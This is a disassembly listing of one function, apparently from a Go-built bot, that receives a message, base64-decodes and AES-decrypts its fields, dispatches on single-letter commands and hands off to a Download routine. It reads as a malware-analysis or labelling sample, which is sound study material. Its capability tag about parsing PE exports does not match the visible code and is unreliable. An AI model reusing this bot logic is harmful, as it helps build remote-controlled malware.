Function at 0x5bd770
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov ecx, dword fs:[0x14]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x5bdea6
sub esp, 0x7c
lea eax, [0x5fe6e0]
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
call dbg.runtime.makemap
mov eax, dword [esp + 0x14]
mov dword [esp + 0x3c], eax
mov ecx, dword [esp + 0x80]
mov dword [esp], ecx
mov ecx, dword [esp + 0x84]
mov dword [esp + 4], ecx
mov ecx, dword [esp + 0x88]
mov dword [esp + 8], ecx
mov ecx, dword [esp + 0x8c]
mov dword [esp + 0xc], ecx
mov ecx, dword [esp + 0x90]
mov dword [esp + 0x10], ecx
mov ecx, dword [esp + 0x94]
mov dword [esp + 0x14], ecx
call dbg.botlib.ReceiveMessage
lea esi, [esp + 0x18]
lea edi, [esp + 0x6c]
call fcn.0044a358
mov eax, dword [esp + 0x28]
test eax, eax
jne 0x5bde3c
mov eax, dword [esp + 0x6c]
mov ecx, dword [esp + 0x70]
test ecx, ecx
jg 0x5bd84f
mov eax, dword [esp + 0x3c]
mov dword [esp + 0x98], eax
mov dword [esp + 0x9c], 0
mov dword [esp + 0xa0], 0
add esp, 0x7c
ret
mov dword [esp], eax
mov dword [esp + 4], ecx
call dbg.botlib.Parse
mov eax, dword [esp + 8]
mov dword [esp + 0x3c], eax
lea ecx, [0x5fe6e0]
mov dword [esp], ecx
mov dword [esp + 4], eax
lea edx, [0x638139]
mov dword [esp + 8], edx
mov dword [esp + 0xc], 4
call dbg.runtime.mapaccess2_faststr
movzx eax, byte [esp + 0x14]
test al, al
je 0x5bdddb
lea eax, [0x5fe6e0]
mov dword [esp], eax
mov ecx, dword [esp + 0x3c]
mov dword [esp + 4], ecx
lea edx, [0x638ad7]
mov dword [esp + 8], edx
mov dword [esp + 0xc], 7
call dbg.runtime.mapaccess1_faststr
mov eax, dword [esp + 0x10]
mov eax, dword [eax + 4]
cmp eax, 1
je 0x5bdd95
lea eax, [0x5fe6e0]
mov dword [esp], eax
mov ecx, dword [esp + 0x3c]
mov dword [esp + 4], ecx
lea edx, [0x63818d]
mov dword [esp + 8], edx
mov dword [esp + 0xc], 4
call dbg.runtime.mapaccess1_faststr
mov eax, dword [esp + 0x10]
mov eax, dword [eax + 4]
cmp eax, 1
je 0x5bdd52
lea eax, [0x5fe6e0]
mov dword [esp], eax
mov ecx, dword [esp + 0x3c]
mov dword [esp + 4], ecx
lea edx, [0x63818d]
mov dword [esp + 8], edx
mov dword [esp + 0xc], 4
call dbg.runtime.mapaccess1_faststr
mov eax, dword [esp + 0x10]
mov eax, dword [eax + 4]
cmp eax, 1
je 0x5bdce5
lea eax, [0x5fe6e0]
mov dword [esp], eax
mov ecx, dword [esp + 0x3c]
mov dword [esp + 4], ecx
lea edx, [0x638139]
mov dword [esp + 8], edx
mov dword [esp + 0xc], 4
call dbg.runtime.mapaccess1_faststr
mov eax, dword [esp + 0x10]
mov eax, dword [eax + 4]
test eax, eax
jg 0x5bd978
mov eax, dword [esp + 0x3c]
jmp 0x5bd82e
lea eax, [0x5fe6e0]
mov dword [esp], eax
mov ecx, dword [esp + 0x3c]
mov dword [esp + 4], ecx
lea edx, [0x638139]
mov dword [esp + 8], edx
mov dword [esp + 0xc], 4
call dbg.runtime.mapaccess1_faststr
mov eax, dword [esp + 0x10]
mov ecx, dword [eax]
mov eax, dword [eax + 4]
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov eax, dword [0x7d1824]
mov dword [esp], eax
call dbg.encoding/base64.(*Encoding).DecodeString
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
mov ebx, dword [esp + 0x18]
mov ebp, dword [esp + 0x1c]
test ebx, ebx
jne 0x5bdcc8
movzx ebx, byte [0x7e3660]
test bl, bl
je 0x5bdc74
lea eax, [0x5fe6e0]
mov dword [esp], eax
mov ecx, dword [esp + 0x3c]
mov dword [esp + 4], ecx
lea edx, [0x638139]
mov dword [esp + 8], edx
mov dword [esp + 0xc], 4
call dbg.runtime.mapaccess1_faststr
mov eax, dword [esp + 0x10]
mov ecx, dword [eax]
mov eax, dword [eax + 4]
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov eax, dword [0x7d1824]
mov dword [esp], eax
call dbg.encoding/base64.(*Encoding).DecodeString
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
mov ebx, dword [esp + 0x18]
mov ebp, dword [esp + 0x1c]
test ebx, ebx
jne 0x5bdc57
mov dword [esp + 0x34], edx
mov dword [esp + 0x48], eax
mov dword [esp + 0x30], ecx
lea ebx, [0x5fe6e0]
mov dword [esp], ebx
mov ebp, dword [esp + 0x3c]
mov dword [esp + 4], ebp
lea esi, [0x638ad7]
mov dword [esp + 8], esi
mov dword [esp + 0xc], 7
call dbg.runtime.mapaccess1_faststr
mov eax, dword [esp + 0x10]
mov ecx, dword [eax]
mov eax, dword [eax + 4]
cmp eax, 1
jge 0x5bdc2b
xor eax, eax
test al, al
je 0x5bdb64
lea eax, [0x638139]
mov dword [esp + 0x5c], eax
mov dword [esp + 0x60], 4
mov eax, dword [esp + 0x48]
mov dword [esp], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x34]
mov dword [esp + 8], eax
call dbg.botlib.UnpackB
mov eax, dword [esp + 0xc]
mov dword [esp + 0x50], eax
mov ecx, dword [esp + 0x10]
mov dword [esp + 0x38], ecx
mov edx, dword [esp + 0x14]
mov dword [esp + 0x40], edx
mov ebx, dword [esp + 0x18]
mov dword [esp + 0x44], ebx
lea ebp, [0x5fe6e0]
mov dword [esp], ebp
mov ebp, dword [esp + 0x3c]
mov dword [esp + 4], ebp
lea esi, [esp + 0x5c]
mov dword [esp + 8], esi
call dbg.runtime.mapassign
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 0x38]
mov dword [eax + 4], ecx
mov ecx, dword [0x7e38e0]
test ecx, ecx
jne 0x5bdb52
mov ecx, dword [esp + 0x50]
mov dword [eax], ecx
mov eax, dword [esp + 0x40]
test eax, eax
jne 0x5bdb31
jmp 0x5bd96f
mov ecx, dword [esp + 0x3c]
mov dword [esp + 0x98], ecx
mov dword [esp + 0x9c], eax
mov eax, dword [esp + 0x44]
mov dword [esp + 0xa0], eax
add esp, 0x7c
ret
mov dword [esp], eax
mov eax, dword [esp + 0x50]
mov dword [esp + 4], eax
call dbg.runtime.writebarrierptr
jmp 0x5bdb24
lea eax, [0x638139]
mov dword [esp + 0x54], eax
mov dword [esp + 0x58], 4
mov eax, dword [esp + 0x48]
mov dword [esp], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x34]
mov dword [esp + 8], eax
call dbg.botlib.Unpack
mov eax, dword [esp + 0xc]
mov dword [esp + 0x50], eax
mov ecx, dword [esp + 0x10]
mov dword [esp + 0x38], ecx
mov edx, dword [esp + 0x14]
mov dword [esp + 0x40], edx
mov ebx, dword [esp + 0x18]
mov dword [esp + 0x44], ebx
lea ebp, [0x5fe6e0]
mov dword [esp], ebp
mov ebp, dword [esp + 0x3c]
mov dword [esp + 4], ebp
lea esi, [esp + 0x54]
mov dword [esp + 8], esi
call dbg.runtime.mapassign
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 0x38]
mov dword [eax + 4], ecx
mov ecx, dword [0x7e38e0]
test ecx, ecx
jne 0x5bdc19
mov ecx, dword [esp + 0x50]
mov dword [eax], ecx
mov eax, dword [esp + 0x40]
test eax, eax
jne 0x5bdbf8
jmp 0x5bd96f
mov ecx, dword [esp + 0x3c]
mov dword [esp + 0x98], ecx
mov dword [esp + 0x9c], eax
mov eax, dword [esp + 0x44]
mov dword [esp + 0xa0], eax
add esp, 0x7c
ret
mov dword [esp], eax
mov eax, dword [esp + 0x50]
mov dword [esp + 4], eax
call dbg.runtime.writebarrierptr
jmp 0x5bdbeb
mov dword [esp], ecx
mov dword [esp + 4], 1
lea eax, [0x637c2d]
mov dword [esp + 8], eax
mov dword [esp + 0xc], 1
call dbg.runtime.eqstring
movzx eax, byte [esp + 0x10]
jmp 0x5bda95
mov eax, dword [esp + 0x3c]
mov dword [esp + 0x98], eax
mov dword [esp + 0x9c], ebx
mov dword [esp + 0xa0], ebp
add esp, 0x7c
ret
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], edx
mov eax, dword [0x7d17cc]
mov dword [esp + 0xc], eax
call dbg.botlib.AES_Decrypt
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x18]
mov ebx, dword [esp + 0x1c]
mov ebp, dword [esp + 0x20]
test ebx, ebx
jne 0x5bdcab
jmp 0x5bda4d
mov eax, dword [esp + 0x3c]
mov dword [esp + 0x98], eax
mov dword [esp + 0x9c], ebx
mov dword [esp + 0xa0], ebp
add esp, 0x7c
ret
mov eax, dword [esp + 0x3c]
mov dword [esp + 0x98], eax
mov dword [esp + 0x9c], ebx
mov dword [esp + 0xa0], ebp
add esp, 0x7c
ret
lea eax, [0x5fe6e0]
mov dword [esp], eax
mov ecx, dword [esp + 0x3c]
mov dword [esp + 4], ecx
lea edx, [0x63818d]
mov dword [esp + 8], edx
mov dword [esp + 0xc], 4
call dbg.runtime.mapaccess1_faststr
mov eax, dword [esp + 0x10]
mov ecx, dword [eax]
mov eax, dword [eax + 4]
test eax, eax
jbe 0x5bdd4b
movzx eax, byte [ecx]
cmp al, 0x47
jne 0x5bd93c
mov eax, dword [esp + 0x3c]
mov dword [esp + 0x98], eax
mov dword [esp + 0x9c], 0
mov dword [esp + 0xa0], 0
add esp, 0x7c
ret
call dbg.runtime.panicindex
ud2
lea eax, [0x5fe6e0]
mov dword [esp], eax
mov ecx, dword [esp + 0x3c]
mov dword [esp + 4], ecx
lea edx, [0x63818d]
mov dword [esp + 8], edx
mov dword [esp + 0xc], 4
call dbg.runtime.mapaccess1_faststr
mov eax, dword [esp + 0x10]
mov ecx, dword [eax]
mov eax, dword [eax + 4]
test eax, eax
jbe 0x5bdd4b
movzx eax, byte [ecx]
cmp al, 0x43
jne 0x5bd904
jmp 0x5bdd26
lea eax, [0x5fe6e0]
mov dword [esp], eax
mov ecx, dword [esp + 0x3c]
mov dword [esp + 4], ecx
lea edx, [0x638ad7]
mov dword [esp + 8], edx
mov dword [esp + 0xc], 7
call dbg.runtime.mapaccess1_faststr
mov eax, dword [esp + 0x10]
mov ecx, dword [eax]
mov eax, dword [eax + 4]
test eax, eax
jbe 0x5bdd4b
movzx eax, byte [ecx]
cmp al, 0x70
jne 0x5bd8cc
jmp 0x5bdd26
lea eax, [0x638139]
mov dword [esp + 0x64], eax
mov dword [esp + 0x68], 4
lea eax, [0x5fe6e0]
mov dword [esp], eax
mov ecx, dword [esp + 0x3c]
mov dword [esp + 4], ecx
lea edx, [esp + 0x64]
mov dword [esp + 8], edx
call dbg.runtime.mapassign
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 0x74]
mov edx, dword [esp + 0x78]
mov dword [eax + 4], edx
mov edx, dword [0x7e38e0]
test edx, edx
jne 0x5bde2b
mov dword [eax], ecx
jmp 0x5bd894
mov dword [esp], eax
mov dword [esp + 4], ecx
call dbg.runtime.writebarrierptr
jmp 0x5bd894
lea eax, [0x605da0]
mov dword [esp], eax
call dbg.runtime.newobject
mov eax, dword [esp + 4]
mov dword [esp + 0x4c], eax
mov dword [eax + 4], 0x10
mov ecx, dword [0x7e38e0]
test ecx, ecx
jne 0x5bde8e
lea ecx, [0x63b22a]
mov dword [eax], ecx
mov ecx, dword [esp + 0x3c]
mov dword [esp + 0x98], ecx
lea ecx, [0x724b30]
mov dword [esp + 0x9c], ecx
mov dword [esp + 0xa0], eax
add esp, 0x7c
ret
mov dword [esp], eax
lea ecx, [0x63b22a]
mov dword [esp + 4], ecx
call dbg.runtime.writebarrierptr
mov eax, dword [esp + 0x4c]
jmp 0x5bde6b
call dbg.runtime.morestack_noctxt
jmp dbg.botlib.Download